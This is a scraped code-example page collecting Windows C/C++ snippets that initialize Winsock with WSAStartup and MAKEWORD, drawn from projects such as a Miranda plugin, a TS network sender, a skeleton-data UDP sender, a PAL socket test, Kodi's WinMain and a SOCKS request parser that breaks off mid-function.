                            DBWriteContactSettingByte(NULL, "CList", "ConfirmDelete", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_CONFIRMDELETE));
                            DBWriteContactSettingByte(NULL, "CList", "Tray1Click", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ONECLK));
                            DBWriteContactSettingByte(NULL, "CList", "AlwaysStatus", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ALWAYSSTATUS));
                            DBWriteContactSettingByte(NULL, "CList", "AlwaysMulti", (BYTE) ! IsDlgButtonChecked(hwndDlg, IDC_ALWAYSMULTI));
                            DBWriteContactSettingByte(NULL, "CList", "TrayIcon", (BYTE) (IsDlgButtonChecked(hwndDlg, IDC_DONTCYCLE) ? SETTING_TRAYICON_SINGLE : (IsDlgButtonChecked(hwndDlg, IDC_CYCLE) ? SETTING_TRAYICON_CYCLE : SETTING_TRAYICON_MULTI)));
                            DBWriteContactSettingWord(NULL, "CList", "CycleTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_CYCLETIMESPIN, UDM_GETPOS, 0, 0));
                            DBWriteContactSettingWord(NULL, "CList", "IconFlashTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_GETPOS, 0, 0));
                            DBWriteContactSettingByte(NULL, "CList", "DisableTrayFlash", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_DISABLEBLINK));
                            DBWriteContactSettingByte(NULL, "CList", "NoIconBlink", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ICONBLINK));
                            g_CluiData.bDontSeparateOffline = IsDlgButtonChecked(hwndDlg, IDC_DONTSEPARATE) ? 1 : 0;
                            DBWriteContactSettingByte(NULL, "CList", "DontSeparateOffline", g_CluiData.bDontSeparateOffline);

                            g_CluiData.bNoTrayTips = IsDlgButtonChecked(hwndDlg, IDC_NOTRAYINFOTIPS) ? 1 : 0;
                            DBWriteContactSettingByte(NULL, "CList", "NoTrayTips", g_CluiData.bNoTrayTips);
                            if (!SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETITEMDATA, SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETCURSEL, 0, 0), 0))
                                DBDeleteContactSetting(NULL, "CList", "PrimaryStatus");
                            else
                                DBWriteContactSettingString(NULL, "CList", "PrimaryStatus", ((PROTOCOLDESCRIPTOR *) SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETITEMDATA, SendDlgItemMessage(hwndDlg, IDC_PRIMARYSTATUS, CB_GETCURSEL, 0, 0), 0))->szName);
                            pcli->pfnTrayIconIconsChanged();
                            LoadContactTree(); /* this won't do job properly since it only really works when changes happen */
                            SendMessage(pcli->hwndContactTree, CLM_AUTOREBUILD, 0, 0); /* force reshuffle */
                            g_CluiData.dwFlags = IsDlgButtonChecked(hwndDlg, IDC_EVENTSONTOP) ? g_CluiData.dwFlags | CLUI_STICKYEVENTS : g_CluiData.dwFlags & ~CLUI_STICKYEVENTS;
                            DBWriteContactSettingDword(NULL, "CLUI", "Frameflags", g_CluiData.dwFlags);
                            return TRUE;
                    }
                    break;
            }
            break;
    }
    return FALSE;
}
开发者ID:BackupTheBerlios,项目名称:mimplugins-svn,代码行数:101,代码来源:clistopts.c


示例11: Lock

bool CTsNetworkSender::Open(const AddressInfo *pList, DWORD Length)
{
	CBlockLock Lock(&m_DecoderLock);

	if (IsOpen()) {
		SetError(TEXT("既に開かれています。"));
		return false;
	}

	if (pList == NULL || Length == 0) {
		SetError(TEXT("アドレスが指定されていません。"));
		return false;
	}

	if (!m_bWSAInitialized) {
		WSAData WSAData;
		int Error = ::WSAStartup(MAKEWORD(2,0), &WSAData);
		if (Error != 0) {
			TCHAR szText[64];
			StdUtil::snprintf(szText, _countof(szText), TEXT("Winsockの初期化ができません。(%d)"), Error);
			SetError(szText);
			return false;
		}
		m_bWSAInitialized = true;
	}

	try {
		for (DWORD i = 0; i < Length; i++) {
			SocketInfo Info;
			int Type;

			if (pList[i].Type == SOCKET_UDP) {
				Type = SOCK_DGRAM;
			} else if (pList[i].Type == SOCKET_TCP) {
				Type = SOCK_STREAM;
			} else {
				throw __LINE__;
			}
			Info.Type = pList[i].Type;
			TCHAR szPort[8];
			StdUtil::snprintf(szPort, _countof(szPort), TEXT("%d"), pList[i].Port);
			ADDRINFOT AddrHints;
			::ZeroMemory(&AddrHints, sizeof(ADDRINFOT));
			AddrHints.ai_socktype = Type;
			int Result = ::GetAddrInfo(pList[i].pszAddress, szPort, &AddrHints, &Info.AddrList);
			if (Result != 0) {
				SetError(TEXT("アドレスを取得できません。"));
				throw __LINE__;
			}

			// 非ブロッキングに設定
			u_long arg = 1;
			::ioctlsocket(Info.sock, FIONBIO, &arg);

			Info.bConnected = false;
			Info.addr = NULL;
			Info.sock = INVALID_SOCKET;
			Info.Event = WSA_INVALID_EVENT;
			Info.SentBytes = 0;

			if (Type == SOCK_DGRAM) {
				const DWORD LocalHost = ::inet_addr("127.0.0.1");
				::setsockopt(Info.sock, IPPROTO_IP, IP_MULTICAST_IF, (const char *)&LocalHost, sizeof(DWORD));
			}

			m_SockList.push_back(Info);
		}

		m_EndSendingEvent.Create(true);
		m_hSendThread = (HANDLE)::_beginthreadex(NULL, 0, SendThread, this, 0, NULL);
		if (m_hSendThread == NULL) {
			SetError(TEXT("スレッドを作成できません。"));
			throw __LINE__;
		}
	} catch (...) {
		Close();
		return false;
	}

	return true;
}
开发者ID:nexus7ici,项目名称:TSTask,代码行数:81,代码来源:TsNetworkSender.cpp


示例12: strcpy_s

SkeletonSender::SkeletonSender(const char* ip_addr, unsigned short port_num)
{
    ip = (char*)malloc(sizeof(char) * IP_ADDR_LENGTH);
    strcpy_s(ip, IP_ADDR_LENGTH, ip_addr);
    port = port_num;

    if (WSAStartup(MAKEWORD(2, 0), &wsadata) != 0)
    {
        exit(-1);
    }

    memset(&sockAddrIn, 0, sizeof(sockAddrIn));
    sockAddrIn.sin_addr.s_addr = inet_addr(ip);
    sockAddrIn.sin_port = htons(port);
    sockAddrIn.sin_family = AF_INET;

    sockSend = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockSend == INVALID_SOCKET)
    {
        std::cout << "SkeletonSender: Invalid socket. exitting ..." << std::endl;
        exit(-2);
    }


    tinyxml2::XMLDocument xml;
    if (xml.LoadFile("../parameter.xml") == tinyxml2::XML_NO_ERROR)
    {
        std::cout << "Succeed to calibration file." << std::endl;

        tinyxml2::XMLElement *extrinsic_parameter = xml.FirstChildElement("extrinsic_parameter");
        tinyxml2::XMLElement *translation = extrinsic_parameter->FirstChildElement("translation");
        tinyxml2::XMLElement *rotation = extrinsic_parameter->FirstChildElement("rotation");

        tinyxml2::XMLElement *t;
        t = translation->FirstChildElement("param");
        while (t != NULL)
        {
            if (t->Attribute("name", "tx"))
            {
                tx = (float)atof(t->GetText());
            }
            else if (t->Attribute("name", "ty"))
            {
                ty = (float)atof(t->GetText());
            }
            else if (t->Attribute("name", "tz"))
            {
                tz = (float)atof(t->GetText());
            }
            t = t->NextSiblingElement("param");
        }

        tinyxml2::XMLElement *q;
        q = rotation->FirstChildElement("param");
        while (q != NULL)
        {
            if (q->Attribute("name", "qx"))
            {
                qx = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qy"))
            {
                qy = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qz"))
            {
                qz = (float)atof(q->GetText());
            }
            else if (q->Attribute("name", "qw"))
            {
                qw = (float)atof(q->GetText());
            }
            q = q->NextSiblingElement("param");
        }
        isOpened = true;
    }

    return;
}
开发者ID:irvs,项目名称:send_skeleton,代码行数:79,代码来源:SkeletonSender.cpp


示例13: main

/**
 * main
 * 
 * executable entry point
 */
int __cdecl main( int argc, char **argv ) 
{
    /* local variables */
    int err;
    WORD wVersionRequested;
    WSADATA wsaData;
    DWORD dwSocketError;
    u_long one;
    struct  sockaddr_in mySockaddr;

    SOCKET sock = INVALID_SOCKET;

    /* recvfrom operation varaibles*/
    HANDLE hReadEvent;    
    char myBuffer[255];    
    DWORD         dwRecvFlags = 0;
    WSAOVERLAPPED wsaRecvOverlapped;
    int sizeOverlapped;    


    /* PAL initialization */
    if ( (PAL_Initialize(argc, argv)) != 0 )
    {
        return( FAIL );
    }


    /* initialize winsock version 2.2 */
    wVersionRequested = MAKEWORD( 2, 2 );

    err = WSAStartup( wVersionRequested, &wsaData );
    if ( err != 0 )
    {
        Fail( "Unexpected WSAStartup call failed with error code %d\n", 
              err ); 
    }

    /* Confirm that the WinSock DLL supports the specified version. */
    if( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 )
    {
        /* Tell the user that we could not find a usable winsock DLL. */
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "Requested winsock version unsupported, "
                "returned version %d.%d\n", 
                LOBYTE( wsaData.wVersion ),
                HIBYTE( wsaData.wVersion ) ); 
    }

    /* prepare the sockaddr_in structure */
    mySockaddr.sin_family           = AF_INET;
    mySockaddr.sin_port             = getRotorTestPort();
    mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    memset( &(mySockaddr.sin_zero), 0, 8);


    /* create a stream socket in Internet domain */
    sock = WSASocketA(  AF_INET,
                        SOCK_DGRAM,
                        IPPROTO_UDP,
                        NULL,
                        0,
                        WSA_FLAG_OVERLAPPED
                    );


    if( sock == INVALID_SOCKET )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "WSASocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    /* set the socket to non-blocking */
    one = 1;
    err = ioctlsocket( sock, FIONBIO, &one );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
//.........这里部分代码省略.........
开发者ID:smartmaster,项目名称:sscli,代码行数:101,代码来源:test2.c


示例14: WinMain

//-----------------------------------------------------------------------------
// Name: WinMain()
// Desc: The application's entry point
//-----------------------------------------------------------------------------
INT WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR commandLine, INT)
{
  // this fixes crash if OPENSSL_CONF is set to existed openssl.cfg  
  // need to set it as soon as possible  
  CEnvironment::unsetenv("OPENSSL_CONF");

  // Initializes CreateMiniDump to handle exceptions.
  char ver[100];
  if (strlen(CCompileInfo::GetSuffix()) > 0)
    sprintf_s(ver, "%d.%d-%s Git:%s", CCompileInfo::GetMajor(),
    CCompileInfo::GetMinor(), CCompileInfo::GetSuffix(), CCompileInfo::GetSCMID());
  else
    sprintf_s(ver, "%d.%d Git:%s", CCompileInfo::GetMajor(),
    CCompileInfo::GetMinor(), CCompileInfo::GetSCMID());

  win32_exception::set_version(std::string(ver));
  SetUnhandledExceptionFilter(CreateMiniDump);

  // check if Kodi is already running
  std::string appName = CCompileInfo::GetAppName();
  CreateMutex(nullptr, FALSE, (appName + " Media Center").c_str());
  if (GetLastError() == ERROR_ALREADY_EXISTS)
  {
    HWND hwnd = FindWindow(appName.c_str(), appName.c_str());
    if (hwnd != NULL)
    {
      // switch to the running instance
      ShowWindow(hwnd, SW_RESTORE);
      SetForegroundWindow(hwnd);
    }
    return 0;
  }

  if ((g_cpuInfo.GetCPUFeatures() & CPU_FEATURE_SSE2) == 0)
  {
    MessageBox(NULL, "No SSE2 support detected", (appName + ": Fatal Error").c_str(), MB_OK | MB_ICONERROR);
    return 0;
  }

  //Initialize COM
  CoInitializeEx(nullptr, COINIT_MULTITHREADED);


  int argc;
  LPWSTR* argvW = CommandLineToArgvW(GetCommandLineW(), &argc);

  char** argv = new char*[argc];

  for (int i = 0; i < argc; ++i)
  {
    int size = WideCharToMultiByte(CP_UTF8, 0, argvW[i], -1, nullptr, 0, nullptr, nullptr);
    if (size > 0)
    {
      argv[i] = new char[size];
      int result = WideCharToMultiByte(CP_UTF8, 0, argvW[i], -1, argv[i], size, nullptr, nullptr);
    }
  }

  // Initialise Winsock
  WSADATA wd;
  WSAStartup(MAKEWORD(2, 2), &wd);

  // use 1 ms timer precision - like SDL initialization used to do
  timeBeginPeriod(1);

#ifndef _DEBUG
  // we don't want to see the "no disc in drive" windows message box
  SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOOPENFILEERRORBOX);
#endif

  // Create and run the app
  int status = main(argc, argv);

  for (int i = 0; i < argc; ++i)
    delete[] argv[i];
  delete[] argv;

  // clear previously set timer resolution
  timeEndPeriod(1);

  WSACleanup();
  CoUninitialize();

  return status;
}
开发者ID:Dreamer-4pda,项目名称:kodi-cmake,代码行数:89,代码来源:WinMain.cpp


示例15: switch

bool SocksParser::GetRequest( SERVICE_INFO& svc )
{
	/*
	 +----+-----+-------+------+----------+----------+
	  |VER | CMD |  RSV  | ATYP | DST.ADDR | DST.gListenSocket |
	  +----+-----+-------+------+----------+----------+
	  | 1  |  1  | X'00' |  1   | Variable |    2     |
	  +----+-----+-------+------+----------+----------+
	*/
	char buffer[1024];
	sockaddr_in svr = {0};

	if(!RecvBuf(svc.socket,buffer,10))
		return FALSE;

	switch (buffer[1])
	{
		case 0x01:
			svc.type = SOCKS_CONNECT;
			break;
		case 0x02:
			svc.type = SOCKS_BIND;
			break;
		case 0x03:
			svc.type = SOCKS_UDP;
			break 

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ MAKEWPARAM函数代码示例发布时间:2022-05-30
下一篇:
C++ MAKEPOINTS函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap